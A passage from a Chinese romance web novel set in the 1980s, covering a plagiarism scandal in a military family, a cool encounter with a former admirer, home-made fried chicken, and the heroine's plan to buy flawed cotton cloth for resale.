柳绵绵虽然觉得这个可能性不大,但确实捉摸不透沈维舟的想法,就像她一直在心里打着腹稿,准备在沈维舟要求过夫妻生活时,推个冠冕堂皇的理由出来,但事实上沈维舟好像根本没有这方面的需求。 是身体不好,力不从心? 还是纯粹对她这个娃娃亲对象不感兴趣,娶她只是迫于无奈? 柳绵绵想到女主江映雪,原书用大量的笔墨描绘了江映雪对沈维舟这个白月光的爱恋与怀念,借此把男主沈维鸿虐得要死要活,但却并没有提及沈维舟对江映雪的感情。 总不会是,青梅竹马,两小无猜,郎有情妾有意,只是无奈被她这个娃娃亲对象给拆散了吧? 不过一瞬间,柳绵绵的脑子里转过了千万种思绪,倒是没忘记回答沈维舟的问题:“这位是我们餐厅的老顾客,李耀明先生,李先生是港城过来的。” 顿了下,她才对李耀明说:“这位是我爱人,沈维舟。” 看到眼前的人,李耀明眼前一亮,主动伸手:“沈先生好靓仔啦。” 又看了眼柳绵绵,说:“哎呀,你们两个,真是柳娘与书生啦,回头等我事情办完了,你们一起来给我拍电影?” 沈维舟:“???” 柳绵绵赶紧替沈维舟拒绝,表示沈维舟有正经工作的,他们单位也不可能会让他去拍电影,李耀明表示非常遗憾,临走之前再三表示沈维舟可以不出演书生,但柳绵绵一定要来给他演女鬼。 等李耀明走远了,沈维舟忍不住问:“你想去拍电影?”还是演女鬼。 柳绵绵连连摇头:“没有没有,我是对他那个电影有点兴趣,不过不是想当女鬼的兴趣。” 沈维舟不动声色看她一眼:“那是对什么感兴趣?” 柳绵绵计算了一下自己手头的家当,觉得以她现在手头的资金,敢说要投资拍电影,怕是得被人笑死,于是矜持道:“我对那个本子挺感兴趣的。”是个好本子,绝对能挣钱。 李耀明刚刚简单说过《柳娘与书生》是个什么样的故事,沈维舟想了想,联系柳绵绵之前说过的话,以为她是被女鬼和书生的爱情故事感动。 又想到李耀明说“书生爱慕女鬼,不在意世俗眼光,也不在意人鬼殊途”,然后很自然地就又想到自己听见的那一句“我真心爱慕你”,沈维舟忽然蹙了蹙眉。 “书生爱慕女鬼,不过是见色起意,红粉骷髅,他看到红粉自然爱慕,看到骷髅就未必了。男人的甜言蜜语最是不能相信。”沉默了会儿,沈维舟说。 柳绵绵还在想着怎么才能多赚点钱投资《柳娘与书生》,闻言抬头诧异看了沈维舟一眼:“……你说的对。” 柳绵绵其实不太明白沈维舟为什么突然说这些,红粉骷髅什么,是他这个脑子里只有研究任务的人会想的吗? 或许,主要是提醒她,不要再被甜言蜜语忽悠? 想不明白,柳绵绵也就不想了。 倒是想起朱永齐那个考甜言蜜语忽悠人的人渣,听说公安顺藤摸瓜,又抓了一批人贩子,还有上下游的中间人。 哦,还有柳锦诗,据说已经养好伤回军工大院了,也不知道军工厂会怎么处理她。 柳绵绵杂七杂八地想了一堆,并没有注意到沈维舟偶尔向她投来的若有所思的眼神。 直到第二天中午下班回到9号院,柳绵绵对着摆满东厢房窗台的月季花,露出了茫然的神情:“不是,刘婶,家里怎么突然养这么多花?” 刘婶表情暧昧,一副“哦哟,你还装什么呀”的表情,说:“维舟找人买的,他说你喜欢这个,不止窗台上这些,你们卧室里也摆了挺多。哦哟,我说他是不是把花市的月季都买光了哦!” 柳绵绵:“……” 不知怎么的,脸竟然有点烫,心脏也扑通扑通直跳。 沈维舟这是什么意思? 是提醒她野花没有家花香吗? 不过,人家都是一捧一捧的玫瑰花,他倒好,是一盆一盆的月季花。 柳绵绵忍不住想笑:“他人呢?” 刘婶也挺稀罕这些月季花的,一直在旁边数着花骨朵,闻言回答:“研究所那边有急事,好像什么报告出问题了,派了车把他接走了。” 第34章 柳绵绵:呦嚯!(修)…… 沈维舟接电话时,刘婶正好在旁边打扫,听见他和电话那头在说什么报告,但实际上,研究所之所以这么着急派车接他回去,是因为范绥和邓宏在办公室打起来了,而导火索正是他的那份报告。 事情是这样的。 临近毕业季,研究所也在物色新人,最近有一批名单和报告交到了研究所,邓宏和张桂华科研能力一般,手头的工作相对少一点,因此这个活就交给了他们。 上午沈维舟不在,邓宏拿着一份报告夸得天上有地上无,把埋头看资料的范绥烦得要死,一怒之下抢过报告,随便翻了翻,就提出了质疑: 这份报告思路和方向确实不错,但很多地方前言不搭后语,无法相互佐证,有明显的抄袭的痕迹,而且抄袭的极有可能是沈维舟的研究项目。 邓宏不知怎么的,当时就勃然大怒,骂范绥胡说八道,范绥是个认死理的个性,马上拿笔在报告上欻欻歘划出了好几段,一番慷慨陈词,然后说着说着俩人就又吵了起来,最后甚至激动到大打出手。 沈维舟知道范绥脾气硬,但着实没想到他脾气硬成这样,看着他红肿了半边脸的样子,不禁暗暗叹了口气。 研究报告的问题反而简单,上辈子他就察觉到有问题了,只是身体不争气,在他查清楚怎么回事前就已经垮了。重生以后他一直在放饵钓鱼,那些能被人拿到手的资料都似是而非,而且零零碎碎,并不成体系。 他上辈子就有些怀疑沈文山父子俩,这辈子捏着沈维鸿的研究报告,沈维舟倒是有种靴子落地的感觉。 果然是他们。 证实剽窃也不难,他那些故意留在办公室里的资料和文稿,有事先预埋的陷阱,里头有一些难以察觉的公式、数据的错误。 正确的可能只是偶然思路相似,但连错都错得一模一样,怎么也解释不通了吧? “这篇报告的作者是沈维鸿。”秦所长迟疑了下,问沈维舟,“会不会是你在家里提过?” 沈维舟摇头:“这些资料我从来没带回家过。”他撩起眼皮扫了脸色铁青的邓宏、表情不太自然的张桂华一眼:“只能是在所里泄露的。” 秦所长表情凝重起来。 他们这样的保密单位,泄密是再严重不过的问题。不过也正是因为他们单位特殊,人员进出、资料领取等等都有严密的监控,有些事情查起来倒是也方便。 甚至不用查,单看邓宏的表情,秦所长就已经有了猜测。 他起身,拍拍沈维舟的肩膀:“这件事交给所里,我们会尽快处理的,你祖父那里……” 顿了下,他说:“我亲自向他汇报情况。” 两人并肩往外走,秦所长话锋一转,问起沈维舟的身体:“我看你最近身体状况似乎还可以,有没有精力多承担一些工作?当然,还是要以身体为主……” 两人走出办公室后,保卫科的人很快就到了,邓宏原本铁青的脸色渐渐变得惨白。 周日一大早,柳绵绵就被沈维舟推醒了,她迷迷糊糊看过去,看见沈维舟站在床边,逆着光,看不清他的表情,她哼哼唧唧地嘟囔了几声,问:“干嘛呀?” 尾音不自觉地上扬,像是在撒娇。 沈维舟停留在被子上的手指顿了顿,飞快缩了回去,清了清嗓子,说:“你不是想去军区大院看热闹吗?” 柳绵绵脑子还在混混沌沌地转着,她想去军区大院看热闹,看什么热闹,等一下,是沈维鸿,是沈维鸿的热闹……她一下清醒了,唰地一下就坐了起来:“对,去看热闹!” 沈维舟突然扭头看向房门的方向,轻咳了声,说:“那,你赶紧起来吧。” 柳绵绵觉得他奇奇怪怪的,掀开被子起身,踢踏踢踏往卫生间走时,路过衣柜,无意识地一瞥,看到穿衣镜里一个头发凌乱、衣着袒露的女人。 最近天气转热,西餐厅收银的阿琳说自家二姨是裁缝,给餐厅里的姑娘们推销她二姨做的睡衣,柳绵绵还以为是那种很保守的短袖短裤,拿到手才发现,竟然是布料很少的吊带裙! 阿琳还很贴心地说,餐厅里几个没结婚的小姑娘,她给带的都是保守的短袖短裤,夏天就算是穿着在院子里打个水都没问题的,结婚的几个她特意让二姨做的这种港城很流行的吊带裙,都是从陈经理带回来的港城杂志里学的款式,据说港城的大老板们可喜欢了。 说这话的时候阿琳还冲她暧昧地眨了眨眼。 柳绵绵能怎么办,她总不能告诉人家,她和她名义上的丈夫清清白白的,用不着性感吊带来增添情趣吧? 只能捏着鼻子收下,并对阿琳的贴心表示了感谢。 阿琳的二姨到底是南城人,裙子虽然是吊带的,倒也没有特别露,柳绵绵穿的时候会在外头套件衬衣,等钻进被窝再把衬衣脱了,倒也还好。 只是她没想到,睡了一夜之后,吊带已经落到了手腕,一大片雪白的皮肤和半边滚圆都露在了外面。 这一下,柳绵绵最后一丝睡意也被吓跑了,一团火直接从脚底板烧到了脑门儿上,脸红得都快滴出血来了。 想到自己这副样子落在了沈维舟的眼里,她就羞愤欲死。 洗漱完,换好衣服,柳绵绵捏着睡裙,就跟捏了个烫手山芋似的。 她本想洗洗就收起来,以后再不穿了,可想到洗完了还得晾在院子里,就莫名觉得脸红。可已经穿过的衣服不洗又不行,总不能就这么脏兮兮的收起来吧?最后转悠来转悠去,她干脆揉吧揉吧扔在了自己的脸盆里。 等回头夜里洗了晾在屋檐下,再趁着大家没起床就收起来好了。 吃早饭的时候,柳绵绵没去看沈维舟,沈维舟也没去看柳绵绵,两个人坐得远远的,各自安静地吃饭。 沈维云看看这个,又看看那个,总觉得大哥大嫂今天有点奇奇怪怪的。 吃完饭,沈维云也想跟去看热闹,被沈维舟拒绝了:“你功课都会了?学习没有问题了?自信能考上医科大学了?” 三连问直接就把沈维云给问蔫儿了。 她又不是她大哥,虽然成绩还不错,但也没有不错到敢说自己没有一点问题。 只能悻悻地回书房温书。 今天照例是军区那边派了车过来接人。 能坐三个人的轿车后排,柳绵绵和沈维舟各自坐了一边,很有默契地,都尽量靠着车门边,中间隔开老大的距离。 司机大叔看了眼后视镜,心说领导家大孙子这是和媳妇儿吵架了? 可等到了小红楼前,小姑娘又高高兴兴地蹭到沈维舟的身边,沈维舟向来清冷的表情也难得地有了几分暖意。 司机大叔摇摇头,年轻人的事情,真看不懂。 警卫员向卫军等在门口领着两人进去。不像往常,还没进门呢各路牛鬼蛇神就蹦出来阴阳怪气,今天一路走进去倒是没看见一个人。 一家子都在客厅里。 连上回找了身体不舒服没下来见人的方美云也在,坐在沙发上沉默地掉着眼泪,邬淑华坐在她旁边,半搂着老太太的肩膀,也用手绢擦着眼泪。婆媳俩这阵仗,不知道的还以为家里死人了呢。 沈文山沉着脸,沈维鸿靠在他身旁的沙发以上,脸色青白,脸上还带了伤,沈菲菲坐在离他们不远的地方,满脸的惊惧。 坐在上首的沈老爷子蹙着眉头,双手搭在拐杖上,看上去像老了好几岁。 看到柳绵绵和沈维舟,他脸色才稍稍缓和了些,开口说:“你们来了,坐吧。” 沈维舟扫了眼沈文山父子俩,没搭腔,在另一边的沙发上坐下。 柳绵绵跟着在他身旁落座。 一屋子人,谁都没再开口,屋里安静得只剩了方美云哽咽的声音。 沈维舟老神在在,伸手从果盘里拿了个枇杷,慢慢把皮剥了,一转手递到了柳绵绵面前。 柳绵绵喜欢吃枇杷,但是很讨厌剥皮,为了吃枇杷,还特意让刘婶给她弄了一把巴掌长的水果刀,用刀削枇杷皮吃,刘婶每次见她拿水果刀削枇杷皮,都笑得不行。 沈维舟捏着枇杷的柄又往前递了递,柳绵绵看他一眼,接了过来。 枇杷品质很好,又大又甜,汁水丰富。 吃完一个,沈维舟又递了一个过来。 柳绵绵看他一眼,接过来继续吃。 就这样一个剥一个吃,柳绵绵一连吃了六七颗枇杷,方美云终于忍不住了,带着哭腔开口:“维舟,维鸿怎么也是你的弟弟,他也是一时要强,想要争取研究所的职位才做了错事,你不能帮帮他吗?只要,只要你向研究所解释一下,是你指导他的……” 沈老爷子怒声打断她:“什么叫一时要强?你不要避重就轻!他这是剽窃,弄虚作假!你养的好孙子,做出这样丢人现眼的事情,你还想让维舟帮他遮掩?!你还要不要脸?!” 方美云顿时激动地喊了起来:“我养的好孙子,难道不是你的孙子吗?!沈志邦,要不是你不愿意帮维鸿说一句话,他用得着做这些吗?!” 沈老爷子握紧了拐杖:“方美云,你也是上过战场的人,这就是你的觉悟?!我沈志邦的孙子,哪怕是要饭,也要堂堂正正地要饭!” 他沉着声音说:“沈维鸿,西北有个军工厂愿意要你,下周把学校的手续都办完了,你就去那里报到。” 屋里除了沈维舟、柳绵绵之外的所有人都脸色大变。 以沈维鸿的学历和成绩,哪怕研究所那边的路堵了,只要稍微运作一下,想进南城军工厂还是很容易的。只是研究所那边如果非得追究,沈维鸿的履历会难看一点,以后晋升也稍微困难一点罢了。 只要在南城的地界,哪怕老爷子不开口,沈文山也能想办法照应。 可如果是西北的军工厂,山高路远,沈文山也是鞭长莫及。 再说,西北的条件那么艰苦,沈维鸿从小到大没吃过什么苦,哪里能适应那边的生活? 沈维鸿惨白着一张脸:“爷爷!” 沈文山试图劝说:“爸,南城也有军工厂,不行临省也有军工厂,何必大老远地跑去西北?” 邬淑华也忍不住了:“爸,维鸿这次是做错了,可您打也打了,骂也骂了,您怎么能让他去西北呢,爸,我就这么一个儿子啊!” 沈老爷子摇摇头:“宠子如杀子,你们就是太宠着他了,才纵得他这么胆大包天。西北条件是苦,咱们大院里的孩子,也没少去那边的。这件事我已经和学校、相关单位都打过招呼了。” 邬淑华终于也哭了出来。 沈老爷子沉默几秒,再次开口:“还有沈文山,你准备转业吧。” 这句话不啻晴天霹雳,比让沈维鸿去西北还让人惊讶,沈文山半天反应不过来:“爸,你说什么。” 沈老爷子神色平静道:“从你儿子牵扯进化肥倒卖,你这个后勤部长的位置就该让贤了。这次又出了这种事,剽窃,作假,你觉得你还有资格坐在后勤部长的位置上吗?正好,部队即将大裁军,你主动交个申请,做个表率。” 沈文山怎么也没想到,这次这把火居然还能烧到自己头上。 军区后勤部虽然不是什么重要的一线部门,但妥妥是个肥差,而且,以他的资历和背景,一两年内应该就能再往上走走了。 他当然知道上面在部署大裁军,可裁军又怎么样,怎么裁也不至于裁到他头上。 “爸,你这么做,我们父子俩的前程都要被断送了!”沈文山愤怒地站了起来,“爸,不是只有沈伯康是你的儿子,我沈文山也是你的亲儿子!” 沈老爷子看向他,沉声问:“研究所的事,沈维鸿一个人能办得到?” 沈文山被问得哑口无言,冷汗涔涔。 沈老爷子摆摆手:“转业以后相关单位会给你分房,你们到时候就都搬过去吧。我年纪大了,向组织申请了疗养院的房子,军区的房子就还给部队。” 这简直是一个炸、弹接着一个炸、弹地扔,沈文山几人都被扔得麻木了,一个个神情麻木,如丧考妣。 军区的房子可不仅仅是房子,它还代表着地位、权力、在圈子里的影响力。 沈文山满以为等自己再往上走走,以后哪怕是老爷子不在了,估计自家也还是能继续住着这小红楼。万万没想到,老头子竟然釜底抽薪。 沈老爷子根本不管其他人的反应,他拿出一张存单:“这次的事情,维舟是苦主,维鸿做错事,我这个做爷爷的,也不是毫无责任,这三千块钱,就当我替维鸿给的赔偿。” 他直接递给柳绵绵:“绵绵,你收着吧。” 大孙子的脾气他再清楚不过,如今唯一值得欣慰的,大概就是这对小夫妻看来感情是真的不错,加上孙子身体也有所好转,有生之年他或许还有机会抱上重孙子。 柳绵绵不想接,可想想原书里沈维鸿靠着吃沈维舟的人血馒头功成名就,就觉得这钱她不要,最后也是便宜了他们一家子,还不如收了,回头多去看看老爷子呢。 她偷偷瞄一眼沈维舟,发现他也没有阻止的意思,于是推拒了几下后就收下了。 等从小红楼出来,柳绵绵自觉地将存单递还给沈维舟,沈维舟看她一眼,说:“给你的,你就收着吧。” 啧啧啧,三千块钱呢,他竟然眼睛都不眨就说送她了,可真是视金钱如粪土啊! 柳绵绵想了想,还是将存单放进了兜里,正是用钱的时候,有了这笔钱,她的本金就更宽裕了。就当沈维舟借她的吧,回头挣了钱,再算分红给他好了。 想着更加充盈的小金库,柳绵绵乐得见牙不见眼。 回去他们倒是没让司机送,主要是柳绵绵看老爷子那样子,应该是被气得不轻,加上他做的那几个决定,是实实在在地触碰到了沈文山一家子的利益,也不知道他们走后那一家子还会说出什么大逆不道的话来,留着车子和司机,万一老爷子被气出个好歹,还能及时送医。 俩人一路慢慢悠悠地往外逛,逛到林荫道上,忽然有人喊了一声:“维舟哥!” 柳绵绵随着沈维舟顿住脚步,扭头看过去,就见一旁的岔路口站了一个穿白色连衣裙、长得很漂亮的姑娘。 这位姑娘一双水灵灵的大眼睛幽幽地盯着沈维舟,神情忧郁中带着哀伤,哀伤中又带几分委屈,委屈中还蕴含着几分深情,总之四个字,深情款款。 柳绵绵:呦嚯! 第35章 新的商机 柳绵绵哪怕没见过也能猜出来,眼前这位姑娘应该就是原书女主江映雪了。 被她幽怨的眼神一瞟,柳绵绵莫名有种自己十恶不赦拆散人家有情人的错觉,心说原书描述里这位女主不是敢爱敢恨、能力出众的大女主吗,现在这样子怎么有点茶啊? 转念一想,原书里沈维鸿还是人品、能力都相当过硬的科学家呢,现世还不是个满肚子阴谋算计的小人?还有原书里知书达礼的男主亲妈、沉稳能干的男主亲爹……柳绵绵回想一下邬淑华和沈文山,心说得了吧,那书也不知道是哪个二傻子写的。 不管怎么样,旧情人见面,她这个现任挂名妻子杵在一旁确实有点尴尬。 柳绵绵在心里默默哼了一句“我应该在车底,不应该在车里”,脚步一转,就准备走远点,不当这个二百五十瓦的电灯泡。 结果脚才刚迈出一小步,手腕上一紧,被沈维舟拽住了:“干嘛去?” 柳绵绵扭头看他:“啊,你,你们不是要……?”不要聊聊吗。 沈维舟漆黑的眸子瞪着她,平素幽深的眼眸里,莫名像攒了一团火,柳绵绵被他瞪得下面的话说不下去,抿抿唇,站住了。 行吧,反正是他自己觉得不需要的,她倒是也不必这么“善解人意”。 “维舟哥,我去了一趟广市,回来就听说……”看着两人的互动,江映雪攥了攥拳头,露出一个哀怨的苦笑,“我没想到你……我祝福你们。” 沈维舟皱了皱眉,说:“你是要去找沈维鸿吧,赶紧去,去晚了就见不着了。” 江映雪的笑容凝固在脸上,露出茫然的神情:“啊,维鸿怎么了?” 沈维舟没回答,拽着柳绵绵都手就走,江映雪反应过来,追了几步,大声问:“维舟哥,我改天去求知巷看你。” 沈维舟头也没回:“不太熟,没必要。” 柳绵绵:“……” 她忍不住看了沈维舟一眼,又看了沈维舟一眼。 沈维舟这哪是白月光,他这分明是地上霜,还是冻得邦硬的那种。 直到沈维舟一路拽着她到了公交车站点,柳绵绵才发现他一直箍着她的手腕没放开。 他手指修长,手掌有她两个那么大,捉着她的手腕跟拎小鸡似的,轻松无比。 柳绵绵感觉自己这一路不像是走过来的,倒更像是被他拖过来的。她不禁打量了眼他瘦削……依然瘦,但好像比她刚穿来的时候要胖一点了?总之没想到他看着挺瘦的,力气这么大。 “你放开我,我手腕肯定被你拽红了。”柳绵绵有些不自在,想要挣脱他的手,偏偏沈维舟今天就跟吃错药了似的,不管她怎么挣扎,就是不肯放手。 还理直气壮:“一会儿公交车上人多。” 人多怎么了,人多你还怕我丢了啊?柳绵绵腹诽,不过手却没再挣扎了。 “刚才那个人是沈维鸿的同学。”沈维舟忽然说,“我十岁左右时父母因为奶奶的问题被下放,那时候妹妹还小,我身体又不好,他们只能把我送来军区。我在军区大院住过几年,上下年纪的有点印象,但不熟。” 柳绵绵皱了皱眉:“和那一家子住一起?” 沈维舟看她一眼,眼底浮起几许笑意,他想了想,语气忽然变得有些沉郁:“是啊,和那一家子住一起。” “那一家子个个八百个心眼子,肯定当着老爷子的面就对你嘘寒问暖,一扭头就给你穿小鞋吧?你才十岁,身体又不好,你……”十岁的小孩,身边没有父母亲人,和那一家子面甜心苦的一起过活,该多难啊!柳绵绵脑海中浮现瘦巴巴、苦兮兮的小少年形象,顿时觉得心疼得不行。 直到觉得不太对劲。 抬头看向沈维舟,看到他唇角的笑容,顿时气不打一处来:“你骗人的?” 沈维舟笑了笑:“没骗人,真的和那一家子住一起的。”他顿了下,又说:“不过刘婶不放心我,主动和爷爷要求了过来做保姆,一日三餐都会过来。” 要不是那时候刘婶自己的孩子也小,加上家里条件也不好,不然她是宁愿把沈维舟带回自己家的。 那段时间刘婶常常背着人嘀咕“小舟进了这虎狼窝可怎么办”,沈维舟其实都偷偷听见了。 但其实沈维鸿、沈菲菲兄妹俩,沈维舟还真不怎么看在眼里。他们一开始倒是耍小聪明,想要联合大院里的其他孩子欺负沈维舟,后面被沈维舟整治了几次,就再不敢出什么幺蛾子了。 而沈文山、邬淑华夫妻俩,那时候也还算年轻,城府没有现在这么深,加上他们都是很爱面子、不轻易跟人撕破脸的个性,沈维舟倒是也没在他们手上吃过多少亏。 倒是方美云……沈维舟皱了皱眉,暂时按下了思绪。 很快公交车来了,这趟车人倒是不多,俩人找了个空位坐下。 沈维舟终于放开了手,柳绵绵坐在靠窗的一侧,不自在地揉了揉手腕,在沈维舟看过来之前,把手一缩,扭头看向窗外。 沈维舟看着她小巧通红的耳朵,下意识搓了搓手指。 另一边,江映雪进到沈家的小红楼。 客厅里沈老爷子和方美云都不在,余下一家四口,脸色一个比一个难看。 看到江映雪,沈文山只淡淡点了点头:“映雪来了。” 化肥厂的事情,他后来细细查过,知道里面还有点江映雪的事情。他知道儿子对这姑娘有点心思,但江映雪一个父母双亡、寄养在侯家的孤女,想做他儿媳,他实在不太满意。现在又有了化肥厂的事,他就更不满意了。 就是不知道这小姑娘怎么合了他母亲的眼缘,他母亲倒是挺喜欢她的。 江映雪看向低着头不言不语的沈维鸿,勉强笑了下:“伯父伯母,我有点事情想和维鸿谈谈。” 沈文山和邬淑华对视一眼,两人起身,邬淑华笑了笑:“你们年轻人聊。” 两人走出客厅时,把沈菲菲也喊走了。 沈菲菲被接二连三的变故震得有些回不过神,一路跟着父母回了卧室,喃喃问:“爸,妈,爷爷说的是真的吗,他是在说气话对不对?” 沈文山没吭声,点了一支烟,坐在写字台前默默吸了两口。 邬淑华只觉心力交瘁,拉着女儿的手,说:“你爷爷的脾气,他会说气话吗?他也说了,已经和学校,还有西北那边都打过招呼了,你哥哥怕是只能去西北了。” “至于你爸爸转业。”她顿了下,“只怕从大裁军的消息出来,他就已经在琢磨让你爸爸转业的事情了。” 老爷子性格正直、执拗,大领导提出大裁军,部队里压力和阻力都非常大,以老爷子的性格,这种时候肯定是会身先士卒站出来做表率的。 也不想想现在都什么年代了。 “所以,咱们真要从小红楼搬出去了?” “时间早晚而已。” 沈菲菲顿时整个人都蔫儿了。 家住小红楼,是她从小到大最骄傲的事情,当然,也因为家住小红楼,她在学校里也受到了不少优待与追捧,沈菲菲无法想想,她的同学、朋友知道她不住小红楼了会怎么样。 “怎么会这样,怎么会这样啊!呜呜呜呜……” 客厅里,江映雪也被一个又一个的消息震得有些愣住了。 “你要去西北了?”她瞬间恍然,维舟哥说的晚了就见不到了原来是这个意思。 沈伯伯要转业,沈爷爷还要把小红楼还给部队,这么一来,沈家几乎等于退出南城军政两界,一旦远离权力核心,不出几年,沈家就会被边缘化了。 沈维鸿搓了搓脸,抬头看着江映雪,鼓起勇气问:“映雪,你,你愿意和我一起去西北吗?你放心,我不会一辈子都在西北待着的,我有信心,五年,不,三年之内,带着你回南城。” 江映雪不敢和他对视,她垂眸看着自己放在膝盖上的手指,声音温柔却又清晰:“维鸿,现在正是全国上下追赶经济大潮的时候,我,我刚刚得到消息,服装厂仓库出了点问题,有一批布料受潮起斑,他们准备用很低的价格把这批布料处理掉,只要弄到这批布料,我就能积攒到足够的本金了。” 沈维鸿张了张嘴,半晌,问:“只是因为布料,不是因为……我哥?” 江映雪攥了攥手指,摇头:“不是,你哥已经结婚了,再说,我和他本来也没什么。” 想到不久之前沈维舟拒人千里的样子,江映雪眼睛一眨,一滴眼泪啪地落在手背上。 她以为维舟哥性格就是这样,对谁都不假辞色,冷冰冰的,可刚才,他看着那个女人的眼神……她几乎不敢相信,那个人是沈维舟,沈维舟竟然也会用这样温柔的眼神看一个人。 沈维鸿怔怔看着她,半晌“嗯”了一声,问:“服装厂的布料需要多少钱?” 上回江映雪给他的钱都亏完了,他知道那笔钱应该是江映雪手里仅存的,她手里应该没多少钱了。 “至少两千块。”江映雪说。 “嗯,我这两天就想想办法。”沈维鸿说。 回到求知巷,柳绵绵高高兴兴地和刘婶还有沈维云分享了军工大院里的热闹。 听完沈老爷子对那一家子的安排,哪怕平常没事就要嘀咕老爷子几句的刘婶都说,沈志邦确实是个爷们儿。 沈维云也是一阵唏嘘:“沈菲菲在学校可是以她家住小红楼为荣的,这下围在她身边那几个不知道还会不会继续捧她的臭脚。”他们学校其实不少人都是军属,住小红楼的也不是就沈菲菲一家,偏生她爱显摆,搞得人尽皆知的。 说了会儿八卦,仨人又开始商量中午吃什么。 刘婶说自己今早在知青菜场抢到了只小公鸡,柳绵绵咽了咽口水,表示自己真的好想念后世的炸鸡啊! 开封菜要到八七年才会进入华国,而且进入以后店也是开在首都,吃个炸鸡千里迢迢跑去首都就实在太夸张了。 为了今后几年的口腹之欲着想,柳绵绵决定怂恿刘婶做炸鸡。 反正主要配料就是淀粉、面粉、小苏打、白胡椒、鸡蛋什么的,一般的调料家里都有,没有的西餐厅里也有。 中午刘婶就简单地做了个拌面,切了细细的胡萝卜丝、黄瓜丝、鸡蛋丝,还有炸酱煸炒的肉沫,吃起来滋味浓郁却又清爽不腻。 等到了半下午,刘婶把小公鸡按照柳绵绵的要求剁成了鸡块,又自己调制了裹粉和腌料,先把鸡肉腌制一段时间,然后才开火炸鸡块。 炸鸡的香味,把书房里工作的沈维舟父子俩和卧室里休息的俞婉都给吸引出来了。 沈维云嘶嘶哈哈地吃了一块,马上振臂高呼:“好吃,好吃,太好吃啦!爸妈大哥,快来吃啊!” 俞婉拈了一小块尝了尝:“外酥里嫩,真的不错,外面这层面粉也很好吃,酥香酥香的。” 沈伯康也边吃边点头:“嗯,这吃法挺新鲜的,倒是有点像西餐的吃法,是绵绵在西餐厅学的吧?” 柳绵绵含糊地应了声,心说我们餐厅主打是牛排和硬得要命的面包,还真没有炸鸡、炸猪排这种接地气的食物,不过说实在的,这玩意儿应该比牛排和面包受众广多了。 “哎哟,这真好吃,等我家那两个猴子回来,我也给他们这么弄着吃。”刘婶说。 “他们俩都回来吗?”柳绵绵问。她知道老两口最近都在商量这个事情,倒是不知道商量的结果,原本她以为他们会让小儿子转业,没想到是让两个人都回来? “沈文山都转业了,我家那两个还不更得转业。我们商量过来,早转晚转都得转,哦呦,那不如早点转。”刘婶也很想得开,“他们领导见他们主动转业,还说一定想办法让他们回南城呢。” 柳绵绵也替她高兴,儿行千里母担忧,能回南城肯定是再好不过的:“那挺好的。” 这时外头有人敲门,不知什么时候偷偷倒了碗酒的王叔,乐呵地捧着酒碗去开门。 “哎呀,这么香。” 来的是许久不见的许海棠,当初因为柳绵绵一句“有贼”,王叔他们逮住了朱永齐,又因为他们这边闹起来,许海棠才会检查自己的嫁妆,及时发现金银首饰被窃。后面她和她妈骆婶子还特意来9号院感谢过柳绵绵。 她们母女俩人都挺好,柳绵绵对她们印象不错,收了她们的东西一直想着回礼,前几天余家又寄了东西过来,柳绵绵拿了些菌子、野菜干什么的,又添了些罐头、点心之类的,送去了帽儿胡同。 不过那天她正好回娘家了,俩人没碰见。 柳绵绵见她拎着东西,无奈叹息道:“乡下亲戚寄了些干货过来,我看着不错才给你拿了点,你不会又上门‘礼尚往来’了吧?” 许海棠腼腆笑笑,说:“我这也不是特意买的,我们厂里仓库出了问题,有一批布料存着发霉长斑了,厂里内部处理了一部分,不花几个钱的,我就怕你嫌弃……” 柳绵绵往她手里塞了口碗,里头三块黄灿灿的鸡块:“先吃吧,趁热吃,可香了。” 顺手接过许海棠手里的袋子,取出一块布料看了看:“霉斑确实还挺明显的。” 不等许海棠说什么,她忽然双眼亮晶晶地问:“你们厂里还有很多这种布料吗,内部处理了一部分,是不是还有一部分要对外处理,我如果想买应该找谁?” 许海棠原本还以为她嫌弃布料霉斑太厉害,哪知道她是自己想买:“……可以啊,如果不多的话,我帮你买回来就行了。” 柳绵绵笑眯眯:“如果多呢?” 许海棠:“……我,我也可以帮你。” 第36章 机会难得(修) 蒋红梅靠着之前在服装厂积累的一点人脉,把服装厂积压的那点瑕疵品都搂光了,天天和刘安民一起到处赶大集,就前两天,她送了这段时间挣的钱过来,还和柳绵绵抱怨,说这批货卖完了不知道下一步该干嘛。 这不,刚瞌睡就有人送枕头了嘛。 柳绵绵拽着许海棠边吃东西边问:“这批布料一共多少,你们厂里心理价位是多少,今天,今天来不及,明天能去买吗?” 许海棠是个老实人,捏着鸡块啃了一口,又赞叹了声“好好吃啊”,才回答说:“布料还挺多的,都是棉布,五十米一匹,应该还有五百匹左右。现在棉布零售价是一块零两分一米,一匹布零售就五十多块钱,不过我们进价是三十五,现在处理价就是十二到二十了,发霉厉害的十二,好的就二十,看情况,拿得多,均价应该能谈到十五左右。” 别看许海棠有些腼腆老实,但她毕竟是采购科的,说起业务上的事情头头是道,对布料的价格也是了如指掌。 柳绵绵迅速在心里算了下,如果能谈到十五元一匹,那么每米的单价是三毛,根据她从蒋红梅那里了解到的信息,这种棉布,哪怕是瑕疵品,卖个六七毛、七八毛根本不成问题。 这么多年布料紧缺的现实,让老百姓对布料的要求降到了最低,就上回他们去怀平乡赶集,还看到很多老乡都是穿着补丁摞补丁的衣服呢,每米布能少个几毛,发霉起斑有什么问题? 机会难得,博一把! 柳绵绵算了算自己小金库的钱,因为之前陆陆续续买的那些瑕疵品都基本出完了,所以她投进去的资金基本也已经回笼了,原本的两千多块钱,现在杂七杂八一凑,有三千七百左右了,加上沈老爷子刚给的三千块……吃下这笔货问题还真不大。 再说,她自己没时间去卖货,东西肯定还是交给蒋红梅他们,到时候应该也不需要她一个人出钱。 “五百匹我全要了。” 许海棠:“啊?!” 许海棠:“哦哦,好的,我回去和我爸说一声。” 她爸是厂里的大师傅,和销售科的科长还是多年的好兄弟,这个事情应该不难的。 再说,这件事对仓库和销售科来说都是个头疼的事情,烫手山芋,都巴不得赶紧处理掉。毕竟厂里布料亏了几千块钱和厂里堆着一堆发霉长斑的布料,这感觉可是截然不同的。 许海棠信心满满,满口答应下来。 “到时候我给你六毛一匹的介绍费。”柳绵绵说。 许海棠哪里肯要,柳绵绵心想现在说这么多也没用,还是等布料买到了再说吧,于是也就不再多言。 一只小公鸡肯定不够这么多人吃,不过油炸美食可不止鸡块,柳绵绵拽着许海棠和沈维云,又去弄了一些豆制品、菌菇和蔬菜。 只要酱料调得好,炸鞋底也好吃呀! “哦呦,这油乎乎的一吃,晚饭咱们就弄点简单的吧,煮个粥,再包几个素馅包子怎么样?”还没吃完,刘婶已经在盘算接下去的晚饭吃什么了。 